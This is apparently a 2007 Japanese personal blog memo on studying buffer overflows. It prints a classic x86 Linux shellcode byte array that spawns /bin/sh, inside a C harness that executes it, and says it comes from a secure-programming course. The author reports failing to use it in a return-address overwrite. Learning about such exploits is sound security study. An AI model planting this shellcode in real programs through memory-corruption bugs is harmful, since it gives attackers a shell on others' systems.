アキラのITメモ:/bin/shを実行するコード
IT関係、技術関係のメモです。
/bin/shを実行するコード
バッファオーバーフローについて勉強していたのですが、/bin/shを実行するコードを見つけたのでここにメモしておきます。IPA セキュアプログラミング講座で紹介されているコードです。
#include <stdio.h>
const char shellcode[] = {
0x31, 0xc0, 0x31, 0xd2, 0xeb, 0x11, 0x5b, 0x88,
0x43, 0x07, 0x89, 0x5b, 0x08, 0x89, 0x43, 0x0c,
0x8d, 0x4b, 0x08, 0xb0, 0x0b, 0xcd, 0x80, 0xe8,
0xea, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e,
0x2f, 0x73, 0x68, 0x00
};
void main() {
void (*shellfunc)();
shellfunc = (void(*)())shellcode;
shellfunc();
}
これは以下のコードと等価です。
char* args[] = {"/bin/sh/", NULL};
execve(args[0], args, NULL);
この文字列をうまく使用してバッファオーバフロー+リターンアドレス書き換えにより/bin/shを実行できないものかいろいろ試してみたのですが、自分の今の環境では動作しませんでした。というかリターンアドレスの推測がうまく出来ませんでした。昔、Vine linux上で動かした時にうまくできた記憶があるのですが、環境によってうまく動いたり動かなかったりするのかも知れません。もう少し勉強せねば。。
カテゴリ:
C言語
投稿日: 2007年01月04日 21:49
Trackback URL: http://akira-site.net/cgi-bin/mt/mt-tb.cgi/411
Trackback URL: http://akira-site.net/cgi-bin/mt/mt-tb.cgi/411
コメント
コメントを投稿
カテゴリ「C言語」内の記事
|
シリアルポートの通信 |
乱数の初期化とtime関数 |
ヘッダファイルをコンパイル |
/bin/shを実行するコード |
バッファオーバーフローの確認 |
if文を代用する |
変なswitch文 |
サイト内検索
カテゴリ
- Linux
- Linux Tips [14]
- Linux ソフトウェア [3]
- Web技術
- (X)HTML/CSS [4]
- JavaScript [1]
- MovableType [7]
- その他 [3]
- 各種API [3]
- 各種ツール [4]
- Windows
- Win Tips [3]
- Win ソフトウェア [6]
- コネタ [7]
- プログラミング
- 機器 [4]